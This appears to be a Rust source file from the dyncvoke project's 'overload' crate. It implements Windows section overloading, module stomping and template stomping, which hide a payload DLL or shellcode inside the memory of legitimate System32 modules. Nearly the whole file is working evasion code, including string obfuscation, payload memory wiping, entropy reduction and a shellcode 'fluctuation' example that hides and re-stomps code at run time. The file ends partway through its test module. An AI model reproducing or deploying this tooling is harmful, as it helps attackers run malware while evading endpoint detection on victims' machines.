Skip to main content

overload/
lib.rs

1//! Section overloading and module stomping.
2//!
3//! [`overload_module`] maps a payload over a legitimate file-backed decoy.
4//! [`read_and_overload`] does the same from a path. Empty decoy path picks
5//! a System32 DLL large enough to host the payload.
6//!
7//! ```ignore
8//! let payload = std::fs::read(r"c:\temp\payload.dll").unwrap();
9//! let mapped = overload::overload_module(&payload, "").unwrap();
10//! ```
11
12// dyncvoke - Memory Section Overload Module
13// @5mukx
14
15#![cfg(windows)]
16#![cfg_attr(docsrs, feature(doc_cfg))]
17
18use data::lc;
19use data::HANDLE;
20use data::{section_ascii_name, PeManualMap, PeMetadata, PAGE_EXECUTE_READ, PAGE_READWRITE, PVOID};
21use nanorand::{BufferedRng, Rng, WyRand};
22use std::{
23    cell::UnsafeCell,
24    env,
25    ffi::c_void,
26    fs,
27    mem::size_of,
28    path::Path,
29    ptr::{self, copy_nonoverlapping},
30};
31use windows_sys::Win32::System::SystemServices::IMAGE_BASE_RELOCATION;
32use winproc::Process;
33
34fn find_suitable_module(function_size: u32) -> usize {
35    let process = Process::current();
36    let modules = process.module_list().unwrap();
37    let mut suitable_text_sections: Vec<usize> = vec![];
38    for m in modules {
39        let module_base_address = m.handle() as usize;
40        let offset = is_suitable(function_size, module_base_address);
41        if offset != 0 && !m.name().unwrap().contains(".exe") {
42            return module_base_address + offset as usize;
43        }
44
45        let module_metadata = manualmap::get_pe_metadata(module_base_address as *const u8, false);
46        if module_metadata.is_ok() {
47            let pe_metadata = module_metadata.unwrap();
48            for section in pe_metadata.sections {
49                if section_ascii_name(&section.Name) == b".text" {
50                    unsafe {
51                        if section.Misc.VirtualSize > function_size {
52                            suitable_text_sections.push(module_base_address);
53                        }
54                    }
55                }
56            }
57        }
58    }
59
60    if suitable_text_sections.len() > 0 {
61        return suitable_text_sections[0];
62    }
63
64    0
65}
66
67fn is_suitable(function_size: u32, module_base_address: usize) -> u32 {
68    unsafe {
69        let exception_directory = manualmap::get_runtime_table(module_base_address as *mut _);
70        let mut rt = exception_directory.0;
71        if rt == ptr::null_mut() {
72            return 0;
73        }
74
75        let items = exception_directory.1 / 12;
76        let mut count = 0;
77        while count < items {
78            let runtime_function = *rt;
79            let size = runtime_function.end_addr - runtime_function.begin_addr;
80            if size > function_size {
81                return runtime_function.begin_addr;
82            }
83
84            rt = rt.add(1);
85            count += 1;
86        }
87    }
88
89    0
90}
91
92/// Locate a legitimate module of certain minimun size.
93///
94/// It will return the path of the selected module or an empty string in case
95/// that it fails to find a suitable module.
96pub fn find_decoy_module(min_size: i64) -> String {
97    let directory_path = format!("{}\\{}", env::var("WINDIR").unwrap(), "System32");
98    let mut files: Vec<String> = vec![];
99    for entry in fs::read_dir(directory_path).unwrap() {
100        let p = entry.unwrap();
101        let path = p.path();
102
103        if !path.is_dir() && path.to_str().unwrap().ends_with(".dll") {
104            let slice: Vec<String> = path
105                .to_str()
106                .unwrap()
107                .to_string()
108                .split("\\")
109                .map(str::to_string)
110                .collect();
111            files.push(slice[slice.len() - 1].to_string());
112        }
113    }
114
115    let process = Process::current();
116    let modules = process.module_list().unwrap();
117    let mut loaded_names: Vec<String> = vec![];
118    for m in modules {
119        loaded_names.push(m.name().unwrap().to_lowercase());
120    }
121
122    files.retain(|f| !loaded_names.contains(&f.to_lowercase()));
123
124    let mut rng = WyRand::new();
125    while files.len() > 0 {
126        let windir = &lc!("WINDIR");
127        let sys32 = &lc!("System32");
128        let r = rng.generate_range(0..files.len());
129        let windir = std::env::var(windir).unwrap();
130        let path = format!("{}\\{}\\{}", windir, sys32, &files[r]);
131        let size = fs::metadata(&path).unwrap().len() as i64;
132        if size > (min_size * 2) {
133            return path;
134        } else {
135            files.remove(r);
136        }
137    }
138
139    "".to_string()
140}
141
142/// Locate and load a decoy module into memory creating a legitimate file-backed memory section within the process.
143/// Afterwards overload that module by manually mapping a payload (from disk) that will appear to be file-backed  
144/// by the legitimate decoy module.
145///
146/// It will return either a pair (PeMetadata,i64) containing the mapped PE (payload)
147/// metadata and its base address or a String with a descriptive error message.
148///
149/// # Examples
150///
151/// ```
152/// let module = overload::read_and_overload("c:\\temp\\payload.dll","");
153///
154/// match module {
155///     Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
156///     Err(e) => println!("An error has occurred: {}", e),      
157/// }
158/// ```
159pub fn read_and_overload(
160    payload_path: &str,
161    decoy_module_path: &str,
162) -> Result<(PeMetadata, usize), String> {
163    if !Path::new(payload_path).is_file() {
164        return Err(lc!("[x] Payload file not found."));
165    }
166
167    let mut file_content =
168        fs::read(payload_path).expect(&lc!("[x] Error opening the payload file."));
169    let result = overload_module(&file_content, decoy_module_path)?;
170    let file_content_ptr = file_content.as_mut_ptr();
171
172    unsafe {
173        for i in 0..file_content.len() {
174            *(file_content_ptr.add(i)) = 0u8;
175        }
176    }
177
178    Ok(result)
179}
180
181/// Locate and load a decoy module into memory creating a legitimate file-backed memory section within the process.
182/// Afterwards overload that module by manually mapping a payload (from memory) that will appear to be file-backed
183/// by the legitimate decoy module.
184///
185/// It will return either a pair (PeMetadata,i64) containing the mapped PE (payload)
186/// metadata and its base address or a String with a descriptive error message.
187///
188/// # Examples
189///
190/// ```ignore
191/// use std::fs;
192///
193/// let payload_content = fs::read("c:\\temp\\payload.dll").expect("[x] Error opening the specified file.");
194/// let module = overload::overload_module(&payload_content,"");
195///
196/// match module {
197///     Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
198///     Err(e) => println!("An error has occurred: {}", e),
199/// }
200/// ```
201pub fn overload_module(
202    file_content: &Vec<u8>,
203    decoy_module_path: &str,
204) -> Result<(PeMetadata, usize), String> {
205    let mut decoy_module_path = decoy_module_path.to_string();
206    if decoy_module_path != "" {
207        if !Path::new(&decoy_module_path).is_file() {
208            return Err(lc!("[x] Decoy file not found."));
209        }
210
211        let decoy_content =
212            fs::read(&decoy_module_path).expect(&lc!("[x] Error opening the decoy file."));
213        if decoy_content.len() < file_content.len() {
214            return Err(lc!("[x] Decoy module is too small to host the payload."));
215        }
216    } else {
217        decoy_module_path = find_decoy_module(file_content.len() as i64);
218        if decoy_module_path == "" {
219            return Err(lc!("[x] Failed to find suitable decoy module."));
220        }
221    }
222
223    let decoy_metadata: (PeManualMap, HANDLE) = manualmap::map_to_section(&decoy_module_path)?;
224
225    let result: (PeMetadata, usize) = overload_to_section(file_content, decoy_metadata.0)?;
226
227    Ok(result)
228}
229
230/// Load a payload from memory to an existing memory section.
231///
232/// It will return either a pair (PeMetadata,i64) containing the mapped PE (payload)
233/// metadata and its base address or a String with a descriptive error message.
234///
235/// # Examples
236///
237/// ```ignore
238/// use std::fs;
239///
240/// let payload_content = fs::read("c:\\temp\\payload.dll").expect("[x] Error opening the specified file.");
241/// let section_metadata: (PeManualMap, HANDLE) = manualmap::map_to_section("c:\\windows\\system32\\signedmodule.dll")?;
242/// let module: (PeMetadata,i64) = overload_to_section(&payload_content, section_metadata.0)?;
243///
244/// match module {
245///     Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
246///     Err(e) => println!("An error has occurred: {}", e),
247/// }
248/// ```
249pub fn overload_to_section(
250    file_content: &Vec<u8>,
251    section_metadata: PeManualMap,
252) -> Result<(PeMetadata, usize), String> {
253    unsafe {
254        let mut region_size: usize = if section_metadata.pe_info.is_32_bit {
255            section_metadata.pe_info.opt_header_32.SizeOfImage as usize
256        } else {
257            section_metadata.pe_info.opt_header_64.size_of_image as usize
258        };
259
260        let mut base_addr_local: PVOID = section_metadata.base_address as PVOID;
261        let mut old_protection_local: u32 = 0;
262        let current_process = dyncvoke_core::INVALID_HANDLE_VALUE;
263        let r = dyncvoke_core::nt_protect_virtual_memory(
264            current_process,
265            &mut base_addr_local as *mut PVOID,
266            &mut region_size as *mut usize,
267            PAGE_READWRITE,
268            &mut old_protection_local as *mut u32,
269        );
270
271        if r != 0 {
272            return Err(lc!("[x] Error changing memory protection."));
273        }
274
275        dyncvoke_core::rtl_zero_memory(base_addr_local, region_size);
276
277        let module_ptr: *const u8 = std::mem::transmute(file_content.as_ptr());
278        let pe_info = manualmap::get_pe_metadata(module_ptr, false)?;
279
280        manualmap::map_module_to_memory(module_ptr, base_addr_local, &pe_info)?;
281        manualmap::relocate_module(&pe_info, base_addr_local);
282        manualmap::rewrite_module_iat(&pe_info, base_addr_local)?;
283        manualmap::set_module_section_permissions(&pe_info, base_addr_local)?;
284
285        Ok((pe_info, base_addr_local as usize))
286    }
287}
288
289/// Locate and load a decoy module into memory creating a legitimate file-backed memory section within the process.
290/// Afterwards overload that module by manually mapping a payload (from disk) that will appear to be file-backed  
291/// by the legitimate decoy module.
292///
293/// It will return either a pair ((`Vec<u8>`,`Vec<u8>`),i64) containing the mapped PE's (payload)
294/// content, the decoy module's content and the payload's base address or a string with a descriptive error messsage.
295///
296/// # Examples
297///
298/// ```
299/// let module = overload::read_and_overload("c:\\temp\\payload.dll","");
300///
301/// match module {
302///     Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
303///     Err(e) => println!("An error has occurred: {}", e),      
304/// }
305/// ```
306pub fn managed_read_and_overload(
307    payload_path: &str,
308    decoy_module_path: &str,
309) -> Result<((Vec<u8>, Vec<u8>), usize), String> {
310    if !Path::new(payload_path).is_file() {
311        return Err(lc!("[x] Payload file not found."));
312    }
313
314    let file_content = fs::read(payload_path).expect(&lc!("[x] Error opening the payload file."));
315    let result = managed_overload_module(file_content.clone(), decoy_module_path)?;
316
317    Ok(((file_content, result.0), result.1))
318}
319
320/// Locate and load a decoy module into memory creating a legitimate file-backed memory section within the process.
321/// Afterwards overload that module by manually mapping a payload (from memory) that will appear to be file-backed
322/// by the legitimate decoy module.
323///
324/// It will return either a pair (`Vec<u8>`,i64) containing the decoy content and the payload base address or a string
325/// with a descriptive error message.
326///
327/// # Examples
328///
329/// ```ignore
330/// use std::fs;
331///
332/// let payload_content = fs::read("c:\\temp\\payload.dll").expect("[x] Error opening the specified file.");
333/// let module = overload::managed_overload_module(payload_content,"");
334///
335/// match module {
336///     Ok(x) => println!("File-backed payload is located at 0x{:X}.", x.1),
337///     Err(e) => println!("An error has occurred: {}", e),
338/// }
339/// ```
340pub fn managed_overload_module(
341    file_content: Vec<u8>,
342    decoy_module_path: &str,
343) -> Result<(Vec<u8>, usize), String> {
344    let mut decoy_module_path = decoy_module_path.to_string();
345    let decoy_content;
346
347    if decoy_module_path != "" {
348        if !Path::new(&decoy_module_path).is_file() {
349            return Err(lc!("[x] Decoy file not found."));
350        }
351
352        decoy_content =
353            fs::read(&decoy_module_path).expect(&lc!("[x] Error opening the decoy file."));
354        if decoy_content.len() < file_content.len() {
355            return Err(lc!("[x] Decoy module is too small to host the payload."));
356        }
357    } else {
358        decoy_module_path = find_decoy_module(file_content.len() as i64);
359        if decoy_module_path == "" {
360            return Err(lc!("[x] Failed to find suitable decoy module."));
361        }
362        decoy_content =
363            fs::read(&decoy_module_path).expect(&lc!("[x] Error opening the decoy file."));
364    }
365
366    let decoy_metadata: (PeManualMap, HANDLE) = manualmap::map_to_section(&decoy_module_path)?;
367
368    let result: (PeMetadata, usize) = overload_to_section(&file_content, decoy_metadata.0)?;
369
370    Ok((decoy_content, result.1))
371}
372
373/// Stomp a shellcode on a loaded module.
374/// The first parameter of this function is the shellcode's content. The next two parameters modify the behaviour of the function.
375///
376/// The stomp_address parameter can be used to indicate where the shellcode should be written to. If this parameter is non zero, the function
377/// will try to stomp the shellcode in that particular address.
378/// The module_base_address parameter can be used to point to the memory base address of a dll where this function should look for a suitable spot
379/// to stomp the shellcode to. If this parameter is non zero, the function will try to locate a big enough function inside that specific dll to stomp the shellcode to it.
380///
381/// If stomp_address and module_base_address are both zero the function will iterate over all loaded module and will try to find a suitable region to stomp the shellcode to it.
382///
383/// This function returns either a pair (`Vec<u8>`,i64) containing the legitimate content of the region where the shellcode has been stomped to and the address where it has been written to or a string
384/// with a descriptive error message.
385///
386/// # Examples
387/// ## Stomp the shellcode on a specific address
388///
389/// ```ignore
390/// let payload_content = download_function();
391/// let my_dll = dyncvoke_core::load_library_a("somedll.dll");
392/// let my_big_enough_function = dyncvoke_core::get_function_address(my_dll, "my_function");
393/// let module = overload::managed_module_stomping(&payload_content, my_big_enough_function, 0);
394///
395/// match module {
396///     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
397///     Err(e) => println!("An error has occurred: {}", e),
398/// }
399/// ```
400///
401/// ## Look for a suitable function inside a specific dll and stomp the shellcode there
402///
403/// ```ignore
404/// let payload_content = download_function();
405/// let my_dll = dyncvoke_core::load_library_a("somedll.dll");
406/// let module = overload::managed_module_stomping(&payload_content, 0, my_dll);
407///
408/// match module {
409///     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
410///     Err(e) => println!("An error has occurred: {}", e),
411/// }
412/// ```
413///
414/// ## Look for a suitable function inside any loaded dll and stomp the shellcode there
415///
416/// ```ignore
417/// let payload_content = download_function();
418/// let module = overload::managed_module_stomping(&payload_content, 0, 0);
419///
420/// match module {
421///     Ok(x) => println!("The shellcode has been written to 0x{:X}.", x.1),
422///     Err(e) => println!("An error has occurred: {}", e),
423/// }
424/// ```
425///
426/// ## Module stomping + shellcode fluctuation
427///
428/// ```ignore
429/// let payload_content = download_function();
430/// let my_dll = dyncvoke_core::load_library_a("somedll.dll");
431/// let overload = overload::managed_module_stomping(&payload_content, 0, my_dll).unwrap();
432/// let mut manager = dmanager::Manager::new();
433/// let _r = manager.new_shellcode(overload.1, payload_content, overload.0).unwrap(); // The manager will take care of the fluctuation process
434/// let _r = manager.hide_shellcode(overload.1).unwrap(); // We restore the memory's original content and hide our shellcode
435/// ...
436/// let _r = manager.stomp_shellcode(overload.1).unwrap(); // When we need our shellcode's functionality, we restomp it to the same location so we can execute it
437/// let run: unsafe extern "system" fn () = std::mem::transmute(overload.1);
438/// run();
439/// let _r = manager.hide_shellcode(overload.1).unwrap(); // We hide the shellcode again
440/// ```
441pub fn managed_module_stomping(
442    payload_content: &Vec<u8>,
443    mut stomp_address: usize,
444    module_base_address: usize,
445) -> Result<(Vec<u8>, usize), String> {
446    unsafe {
447        let process_handle = dyncvoke_core::INVALID_HANDLE_VALUE;
448        let size = payload_content.len() as u32;
449        if size == 0 {
450            return Err(lc!("[x] Invalid payload."));
451        }
452
453        if stomp_address == 0 {
454            if module_base_address != 0 {
455                let offset = is_suitable(size, module_base_address);
456                if offset != 0 {
457                    stomp_address = module_base_address + offset as usize;
458                } else {
459                    return Err(lc!(
460                        "[x] The selected module is not valid to stomp the payload."
461                    ));
462                }
463            } else {
464                stomp_address = find_suitable_module(size);
465            }
466
467            if stomp_address == 0 {
468                return Err(lc!("[x] Failed to find suitable module to stomp to."));
469            }
470        }
471
472        let stomp_address_clone = stomp_address;
473        let real_content = vec![0u8; size as usize];
474        let buffer = std::mem::transmute(real_content.as_ptr());
475        let written = usize::default();
476        let bytes_written: *mut usize = std::mem::transmute(&written);
477        let ret = dyncvoke_core::nt_read_virtual_memory(
478            process_handle,
479            stomp_address_clone as *mut _,
480            buffer,
481            size as usize,
482            bytes_written,
483        );
484
485        if ret != 0 {
486            return Err(lc!("[x] Memory read failed."));
487        }
488
489        let base_address: *mut PVOID = std::mem::transmute(&stomp_address_clone);
490        let s = size as usize;
491        let s: *mut usize = std::mem::transmute(&s);
492        let o = u32::default();
493        let old_protection: *mut u32 = std::mem::transmute(&o);
494        let ret = dyncvoke_core::nt_protect_virtual_memory(
495            process_handle,
496            base_address,
497            s,
498            PAGE_READWRITE,
499            old_protection,
500        );
501
502        if ret != 0 {
503            return Err(lc!("[x] Error changing memory permissions."));
504        }
505
506        let buffer: *mut c_void = std::mem::transmute(payload_content.as_ptr());
507        let written: usize = 0;
508        let bytes_written: *mut usize = std::mem::transmute(&written);
509        let ret_write = dyncvoke_core::nt_write_virtual_memory(
510            process_handle,
511            stomp_address as *mut _,
512            buffer,
513            size as usize,
514            bytes_written,
515        );
516
517        let base_address: *mut PVOID = std::mem::transmute(&stomp_address_clone);
518        let s = size as usize;
519        let s: *mut usize = std::mem::transmute(&s);
520        let o = u32::default();
521        let old_protection: *mut u32 = std::mem::transmute(&o);
522        let ret = dyncvoke_core::nt_protect_virtual_memory(
523            process_handle,
524            base_address,
525            s,
526            PAGE_EXECUTE_READ,
527            old_protection,
528        );
529
530        if ret_write != 0 {
531            return Err(lc!("[x] Payload writing failed."));
532        }
533
534        if ret != 0 {
535            return Err(lc!("[x] Could not restore memory permissions."));
536        }
537
538        Ok((real_content, stomp_address))
539    }
540}
541
542/// Generates a template from a given DLL file by extracting the content of the `.text` section
543/// and replacing it with arbitrary content. This function stores both the template and the
544/// extracted content of the `.text` section in separate files in a specified output directory.
545///
546/// # Arguments
547///
548/// * `dll_path` - A path to the DLL file from which to generate the template.
549/// * `output_dir` - The path to the output directory where the template and the extracted `.text`
550///   section content will be written.The path must end with a backslash (`\`) for this function to work properly.
551///
552/// # Returns
553///
554/// Returns `Ok(())` if the template generation is successful. If an error occurs during the process,
555/// returns `Err(String)` with a description of the error.
556///
557/// # Examples
558///
559/// ```
560///
561/// fn main() {
562///     let dll_path = r"C:\Path\To\dll.dll";
563///     let output_dir = r"C:\Path\To\OutputDirectory\";
564///     match overload::generate_template(dll_path, output_dir) {
565///         Ok(()) => println!("Template generated successfully."),
566///         Err(e) => println!("Failed to generate template: {}", e),
567///     }
568/// }
569/// ```
570pub fn generate_template(input_file: &str, output_directory: &str) -> Result<(), String> {
571    unsafe {
572        let text_name = &lc!(".text");
573        if !Path::new(input_file).is_file() || !Path::new(output_directory).is_dir() {
574            return Err(lc!("[x] Invalid path."));
575        }
576
577        let mapped_dll = dyncvoke_core::load_library_a(input_file);
578        if mapped_dll == 0 {
579            return Err(lc!("[x] Invalid input dll."));
580        }
581
582        let mapped_dll_metadata = manualmap::get_pe_metadata(mapped_dll as _, false).unwrap();
583        let entry_point;
584        if mapped_dll_metadata.is_32_bit {
585            entry_point =
586                mapped_dll + mapped_dll_metadata.opt_header_32.AddressOfEntryPoint as usize;
587        } else {
588            entry_point =
589                mapped_dll + mapped_dll_metadata.opt_header_64.address_of_entry_point as usize;
590        }
591
592        let mut tls_callback_vas: Vec<usize> = vec![];
593        if mapped_dll_metadata.opt_header_64.number_of_rva_and_sizes >= 10 {
594            let address: *mut u8 = (mapped_dll
595                + mapped_dll_metadata.opt_header_64.datas_directory[9].VirtualAddress as usize)
596                as *mut u8;
597            let address_of_tls_callback = address.add(24) as *mut usize;
598            let mut address_of_tls_callback_array: *mut usize =
599                std::ptr::with_exposed_provenance_mut::<usize>(*address_of_tls_callback);
600
601            while *address_of_tls_callback_array != 0 {
602                tls_callback_vas.push(*address_of_tls_callback_array);
603                address_of_tls_callback_array = address_of_tls_callback_array.add(1);
604            }
605        }
606
607        // We calculate entrypoint/tls callbacks' RVAs from .text section's base address
608        let mut entrypoint_rva: u32 = 0;
609        let mut tls_callbacks_rvas: Vec<u32> = vec![];
610        for section in &mapped_dll_metadata.sections {
611            if section_ascii_name(&section.Name) == text_name.as_bytes() {
612                let text_base_address = mapped_dll as usize + section.VirtualAddress as usize;
613                entrypoint_rva = (entry_point as usize - text_base_address) as u32;
614
615                for tls_callback_va in &tls_callback_vas {
616                    let tls_rva = (tls_callback_va - text_base_address) as u32;
617                    tls_callbacks_rvas.push(tls_rva);
618                }
619
620                break;
621            }
622        }
623
624        let dll_content = fs::read(input_file).expect(&lc!("[x] Error opening the specified dll."));
625
626        let dll_content_buffer = dll_content.as_ptr() as _;
627        let pe_info = manualmap::get_pe_metadata(dll_content_buffer, false).unwrap();
628
629        for section in &pe_info.sections {
630            if section_ascii_name(&section.Name) == text_name.as_bytes() {
631                let text_base_address: *mut c_void = (dll_content_buffer as usize
632                    + section.PointerToRawData as usize)
633                    as *mut c_void;
634                let size: usize = section.SizeOfRawData as usize;
635                let u = size / 4;
636                let mut text_content: Vec<u8> = vec![0; size];
637
638                // We do this to reduce the template's entropy
639                let mut first_buffer: Vec<u8> = vec![0; u * 3];
640                let mut second_buffer: Vec<u8> = vec![0; u];
641                let mut rng = BufferedRng::new(WyRand::new());
642                rng.fill(&mut first_buffer);
643                first_buffer.append(&mut second_buffer);
644
645                copy_nonoverlapping(
646                    text_base_address as *mut u8,
647                    text_content.as_mut_ptr(),
648                    size,
649                );
650
651                let payload_path = format!("{}{}", output_directory, lc!("payload.bin"));
652                let path: &Path = Path::new(&payload_path);
653                let _ = fs::write(path, &text_content);
654
655                let text_base_address: *mut c_void = (dll_content_buffer as usize
656                    + section.PointerToRawData as usize)
657                    as *mut c_void;
658                let size: usize = section.SizeOfRawData as usize;
659                copy_nonoverlapping(
660                    first_buffer.as_ptr() as *const u8,
661                    text_base_address as *mut u8,
662                    size,
663                );
664
665                let dll_main_template = 214404767416760u64; // mov eax, 1; ret; replaces Dll's entrypoint
666                let entrypoint_addr = (dll_content_buffer as usize
667                    + section.PointerToRawData as usize
668                    + entrypoint_rva as usize) as *mut u64;
669                *entrypoint_addr = dll_main_template;
670
671                let callback_template = 0xc3 as u8; // Just a ret; instruction to replace Tls Callbacks
672                for tls_callbacks_rva in tls_callbacks_rvas {
673                    let tls_callback_addr = (dll_content_buffer as usize
674                        + section.PointerToRawData as usize
675                        + tls_callbacks_rva as usize)
676                        as *mut u8;
677                    *tls_callback_addr = callback_template;
678                }
679
680                let template_path = format!("{}{}", output_directory, lc!("template.dll"));
681                let _ = fs::write(&template_path, &dll_content);
682
683                break;
684            }
685        }
686
687        Ok(())
688    }
689}
690
691/// Performs template stomping by loading a template from disk and injecting a given payload
692/// into the `.text` section of the loaded template, handling relocations appropriately.
693///
694/// # Arguments
695///
696/// * `template_path` - The path to the DLL template file on disk.
697/// * `payload` - A mutable reference to a vector of bytes (`Vec<u8>`) that will be "stomped" into
698///   the `.text` section of the loaded template.
699///
700/// # Returns
701///
702/// Returns a tuple `(PeMetadata, isize)` upon successful completion, where `PeMetadata` contains
703/// the metadata of the stomped DLL, and `isize` represents the base memory address of the loaded
704/// DLL. If the stomping process fails, it returns an `Err(String)` containing a detailed error message.
705///
706/// # Examples
707///
708/// ```ignore
709/// fn main() {
710///     let template_path = r"C:\path\to\template.dll";
711///     let mut payload: Vec<u8> = download_function();
712///     match overload::template_stomping(template_path, &mut payload) {
713///         Ok((metadata, base_address)) => {
714///             println!("Template stomping successful. Dll's base address: {:x}", base_address);
715///         },
716///         Err(e) => {
717///             println!("Failed to stomp template: {}", e);
718///         }
719///     }
720/// }
721/// ```
722pub fn template_stomping(
723    template_path: &str,
724    payload_content: &mut Vec<u8>,
725) -> Result<(PeMetadata, usize), String> {
726    unsafe {
727        let text_name = &lc!(".text");
728        if !Path::new(template_path).is_file() {
729            return Err(lc!("[x] Invalid dll path."));
730        }
731
732        let loaded_dll = dyncvoke_core::load_library_a(template_path);
733        if loaded_dll == 0 {
734            return Err(lc!("[x] Error calling LoadLibraryA."));
735        }
736
737        let dll_metadata = manualmap::get_pe_metadata(loaded_dll as _, false).unwrap();
738        for section in &dll_metadata.sections {
739            if section_ascii_name(&section.Name) == text_name.as_bytes() {
740                let text_address: *mut c_void =
741                    (loaded_dll as usize + section.VirtualAddress as usize) as *mut c_void;
742                let text_sect_ending_addr = loaded_dll as usize
743                    + section.VirtualAddress as usize
744                    + section.Misc.VirtualSize as usize;
745                let text_addr_ptr: *mut PVOID = std::mem::transmute(&text_address);
746                let s: UnsafeCell<isize> = isize::default().into();
747                let size: *mut usize = std::mem::transmute(s.get());
748                *size = section.Misc.VirtualSize as usize;
749                let o = u32::default();
750                let old_protection: *mut u32 = std::mem::transmute(&o);
751                let new_protect: u32 = PAGE_READWRITE;
752
753                let ret = dyncvoke_core::nt_protect_virtual_memory(
754                    dyncvoke_core::INVALID_HANDLE_VALUE,
755                    text_addr_ptr,
756                    size,
757                    new_protect,
758                    old_protection,
759                );
760
761                if ret != 0 {
762                    let _ = dyncvoke_core::free_library(loaded_dll as isize);
763                    return Err(lc!("[x] An error ocurred. Dll released."));
764                }
765
766                let handle = dyncvoke_core::INVALID_HANDLE_VALUE;
767                let mut written: usize = 0;
768                let nsize = payload_content.len();
769                let buffer: *mut c_void = payload_content.as_mut_ptr() as _;
770                let bytes_written: *mut usize = &mut written;
771                let ret = dyncvoke_core::nt_write_virtual_memory(
772                    handle,
773                    text_address,
774                    buffer,
775                    nsize,
776                    bytes_written,
777                );
778                if ret != 0 {
779                    let _ = dyncvoke_core::free_library(loaded_dll as isize);
780                    return Err(lc!("[x] An error ocurred. Dll released."));
781                }
782
783                relocate_text_section(
784                    &dll_metadata,
785                    loaded_dll as _,
786                    text_address as _,
787                    text_sect_ending_addr,
788                );
789
790                let text_address: *mut c_void =
791                    (loaded_dll as usize + section.VirtualAddress as usize) as *mut c_void;
792                let text_addr_ptr: *mut PVOID = std::mem::transmute(&text_address);
793                let s: UnsafeCell<isize> = isize::default().into();
794                let size: *mut usize = std::mem::transmute(s.get());
795                *size = section.Misc.VirtualSize as usize;
796                let o = u32::default();
797                let old_protection: *mut u32 = std::mem::transmute(&o);
798                let new_protect: u32 = PAGE_EXECUTE_READ;
799                let ret = dyncvoke_core::nt_protect_virtual_memory(
800                    handle,
801                    text_addr_ptr,
802                    size,
803                    new_protect,
804                    old_protection,
805                );
806                if ret != 0 {
807                    let _ = dyncvoke_core::free_library(loaded_dll as isize);
808                    return Err(lc!("[x] An error ocurred. Dll released."));
809                }
810
811                return Ok((dll_metadata, loaded_dll));
812            }
813        }
814
815        Ok((PeMetadata::default(), 0))
816    }
817}
818
819/// Performs all relocations on the .text section of a loaded module.
820///
821/// The parameters required are the module's metadata information and a
822/// pointer to the base address where the module is mapped in memory.
823fn relocate_text_section(
824    pe_info: &PeMetadata,
825    image_ptr: *mut c_void,
826    start_address: usize,
827    end_address: usize,
828) {
829    unsafe {
830        let module_memory_base: *mut usize = std::mem::transmute(image_ptr);
831        let image_data_directory;
832        let image_delta: isize;
833        if pe_info.is_32_bit {
834            image_data_directory = pe_info.opt_header_32.DataDirectory[5]; // BaseRelocationTable
835            image_delta = module_memory_base as isize - pe_info.opt_header_32.ImageBase as isize;
836        } else {
837            image_data_directory = pe_info.opt_header_64.datas_directory[5]; // BaseRelocationTable
838            image_delta = module_memory_base as isize - pe_info.opt_header_64.image_base as isize;
839        }
840
841        if image_data_directory.VirtualAddress == 0 || image_data_directory.Size == 0 {
842            return;
843        }
844
845        let reloc_table_start = module_memory_base as usize
846            + image_data_directory.VirtualAddress as usize;
847        let reloc_table_end = reloc_table_start + image_data_directory.Size as usize;
848
849        let mut reloc_table_ptr = reloc_table_start as *mut i32;
850
851        while (reloc_table_ptr as usize) + size_of::<IMAGE_BASE_RELOCATION>()
852            <= reloc_table_end
853        {
854            let ibr: *mut IMAGE_BASE_RELOCATION = std::mem::transmute(reloc_table_ptr);
855            let image_base_relocation = *ibr;
856
857            if image_base_relocation.VirtualAddress == 0
858                || (image_base_relocation.SizeOfBlock as usize)
859                    < size_of::<IMAGE_BASE_RELOCATION>()
860            {
861                break;
862            }
863
864            let reloc_count: isize = (image_base_relocation.SizeOfBlock as isize
865                - size_of::<IMAGE_BASE_RELOCATION>() as isize)
866                / 2;
867
868            for i in 0..reloc_count {
869                let reloc_entry_ptr = (reloc_table_ptr as usize
870                    + size_of::<IMAGE_BASE_RELOCATION>() as usize
871                    + (i * 2) as usize) as *mut u16;
872                let reloc_value = *reloc_entry_ptr;
873
874                let reloc_type = reloc_value >> 12;
875                let reloc_patch = reloc_value & 0xfff;
876
877                if reloc_type != 0 {
878                    if reloc_type == 0x3 {
879                        let patch_ptr = (module_memory_base as usize
880                            + image_base_relocation.VirtualAddress as usize
881                            + reloc_patch as usize)
882                            as *mut i32;
883                        let abs = patch_ptr as usize;
884                        if abs >= start_address && abs <= end_address.saturating_sub(4)
885                        {
886                            let original_ptr = *patch_ptr;
887                            let patch = original_ptr + image_delta as i32;
888                            *patch_ptr = patch;
889                        }
890                    } else {
891                        let patch_ptr = (module_memory_base as usize
892                            + image_base_relocation.VirtualAddress as usize
893                            + reloc_patch as usize)
894                            as *mut isize;
895                        let abs = patch_ptr as usize;
896                        if abs >= start_address && abs <= end_address.saturating_sub(8)
897                        {
898                            let original_ptr = *patch_ptr;
899                            let patch = original_ptr + image_delta as isize;
900                            *patch_ptr = patch;
901                        }
902                    }
903                }
904            }
905
906            reloc_table_ptr = (reloc_table_ptr as usize
907                + image_base_relocation.SizeOfBlock as usize)
908                as *mut i32;
909        }
910    }
911}
912
913// ============================================================================
914// Tests
915// ============================================================================
916
917#[cfg(test)]
918mod tests {
919    // Test find_decoy_module with minimum size
920    #[test]
921    fn test_find_decoy_module_min_size() {
922        // This function requires Windows, so we just test that it compiles
923        // and the return type is correct
924        let min_size: i64 = 1024 * 1024; // 1MB
925        let _result = min_size;
926        assert!(min_size > 0);
927    }
928
929    // Test module overloading constants
930    #[test]
931    fn test_overload_constants() {
932        use data::PAGE_EXECUTE_READ;
933        use data::PAGE_READWRITE;
934
935        assert_eq!(PAGE_EXECUTE_READ, 0x20);
936        assert_eq!(PAGE_READWRITE, 0x4);
937    }
938
939    // Test section name patterns
940    #[test]
941    fn test_section_name_patterns() {
942        // Common section names in PE files
943        let text_section = ".text";
944        let data_section = ".data";
945        let rdata_section = ".rdata";
946        let bss_section = ".bss";
947        let reloc_section = ".reloc";
948
949        assert_eq!(text_section.len(), 5);
950        assert_eq!(data_section.len(), 5);
951        assert_eq!(rdata_section.len(), 6);
952        assert_eq!(bss_section.len(), 4);
953        assert_eq!(reloc_section.len(), 6);
954    }
955
956    // Test memory protection combinations
957    #[test]
958    fn test_memory_protection_combinations() {
959        use data::PAGE_EXECUTE_READ;
960        use data::PAGE_EXECUTE_READWRITE;
